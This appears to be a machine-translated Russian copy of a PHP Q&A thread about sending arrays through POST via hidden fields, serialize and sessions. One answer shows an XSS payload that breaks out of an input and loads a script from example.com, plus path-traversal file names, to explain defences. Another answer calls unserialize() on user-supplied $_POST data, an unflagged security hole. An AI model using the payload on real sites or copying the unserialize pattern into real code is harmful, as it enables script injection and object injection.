Intereting Posts
сумма строк не обновляется при запуске AJAX-кода до обновления F5 API-интерфейс Google Drive PHP – простая загрузка файлов Подготовленные утверждения возможны, если mysqli и PDO недоступны? Сброс Infinite Scroll для отображения новых результатов, полученных через AJAX Как автоматически удалить строки данных из таблицы mysql через 24 часа после ввода данных в таблицу? Приложения для Symfony2 YML по каждому запросу простой jsonp не работает с php-сервером Как перенаправить одну страницу для мобильных устройств? Как использовать метод yii \ base \ model: getAttributes () в Yii? PHP Если условия Statement не работают Изменение размера встроенных видео с помощью php MySQL диакритический бесчувственный поиск (испанский акценты) Превращение фото в мультфильм с помощью PHP Какой разделитель использовать для preg_replace в PHP (замените работу вне PHP, но не внутри) Приложение Laravel 5 всегда использует конфигурацию среды тестирования

PHP, передать массив через POST

Какой самый безопасный способ отправки массива через POST ?

 foreach ($id as $array) { <input type="hidden" name="prova[]" value="<?php echo $array; ?>"/> } <input type="submit" name="submit"/> 

или с помощью implode() чтобы создать одну переменную, передать переменную, а затем использовать explode() чтобы вернуть значения в новый массив?

Редактировать Если вы спрашиваете о безопасности, см. Мое добавление внизу Править

PHP имеет функцию сериализации, предусмотренную для этой конкретной цели. Передайте ему массив, и он предоставит вам строковое представление. Когда вы хотите преобразовать его обратно в массив, вы просто используете функцию unserialize .

 $data = array('one'=>1, 'two'=>2, 'three'=>33); $dataString = serialize($data); //send elsewhere $data = unserialize($dataString); 

Это часто используется ленивыми кодировщиками для сохранения данных в базе данных. Не рекомендуется, но работает как быстрое / грязное решение.

добавление

У меня создалось впечатление, что вы искали способ надежно передавать данные, а не «надежно». Независимо от того, как вы передаете данные, если она проходит через систему пользователей, вы не можете доверять ей вообще. Как правило, вы должны хранить его где-то на сервере и использовать учетные данные (cookie, session, password и т. Д.), Чтобы просмотреть его.

Вы можете поместить его в сеанс:

 session_start(); $_SESSION['array_name'] = $array_name; 

Или, если вы хотите отправить его через форму, вы можете сериализовать его:

 <input type='hidden' name='input_name' value="<?php echo htmlentities(serialize($array_name)); ?>" /> $passed_array = unserialize($_POST['input_name']); 

Обратите внимание, что для работы с сериализованными массивами вам необходимо использовать POST как метод передачи формы, так как GET имеет ограничение на размер около 1024 символов.

Я буду использовать сессии, где это возможно.

Почему вы отправляете его через сообщение, если у вас уже есть его на стороне сервера (PHP)?

Почему бы просто не сохранить массив в переменной s $_SESSION чтобы вы могли использовать его, когда форма отправляется, что может сделать ее более «защищенной», так как клиент не может изменить переменные, отредактировав исходный код.

Все зависит от того, что вы действительно хотите сделать.

http://php.net/manual/en/reserved.variables.post.php

На первый комментарий отвечает это.

 <form ....> <input name="person[0][first_name]" value="john" /> <input name="person[0][last_name]" value="smith" /> ... <input name="person[1][first_name]" value="jane" /> <input name="person[1][last_name]" value="jones" /> </form> <?php var_dump($_POST['person']); array ( 0 => array('first_name'=>'john','last_name'=>'smith'), 1 => array('first_name'=>'jane','last_name'=>'jones'), ) ?> 

Тег имени может работать как массив.

Есть две вещи, которые следует учитывать: пользователи могут изменять формы, и вам необходимо обеспечить защиту от Cross Site Scripting (XSS).

XSS

XSS – это когда пользователь вводит HTML в свой ввод. Например, что, если пользователь представил это значение ?:

 " /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=" 

Это будет записано в вашу форму следующим образом:

 <input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/> 

Лучшим способом защиты от этого является использование htmlspecialchars() для защиты вашего ввода. Это кодирует символы, такие как < в &lt; , Например:

 <input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/> 

Подробнее о XSS вы можете прочитать здесь: https://www.owasp.org/index.php/XSS

Модификация формы

Если бы я был на вашем сайте, я мог бы использовать инструменты разработчика Chrome или Firebug для изменения HTML-страницы вашей страницы. В зависимости от того, что делает ваша форма, это можно использовать злонамеренно.

Например, я могу добавить дополнительные значения в ваш массив или значения, которые не входят в массив. Если это был менеджер файловой системы, я мог бы добавлять файлы, которые не существуют, или файлы, содержащие конфиденциальную информацию (например: replace myfile.jpg с ../index.php или ../db-connect.php ).

Короче говоря, вам всегда нужно проверять свои входы позже, чтобы убедиться, что они имеют смысл и используют только безопасные входы в формы. Идентификатор файла (номер) является безопасным, поскольку вы можете проверить, существует ли этот номер, а затем извлечь имя файла из базы данных (это предполагает, что ваша база данных содержит подтвержденный ввод). Имя файла небезопасно по причинам, описанным выше. Вы должны либо повторно подтвердить имя файла, либо я могу изменить его на что угодно.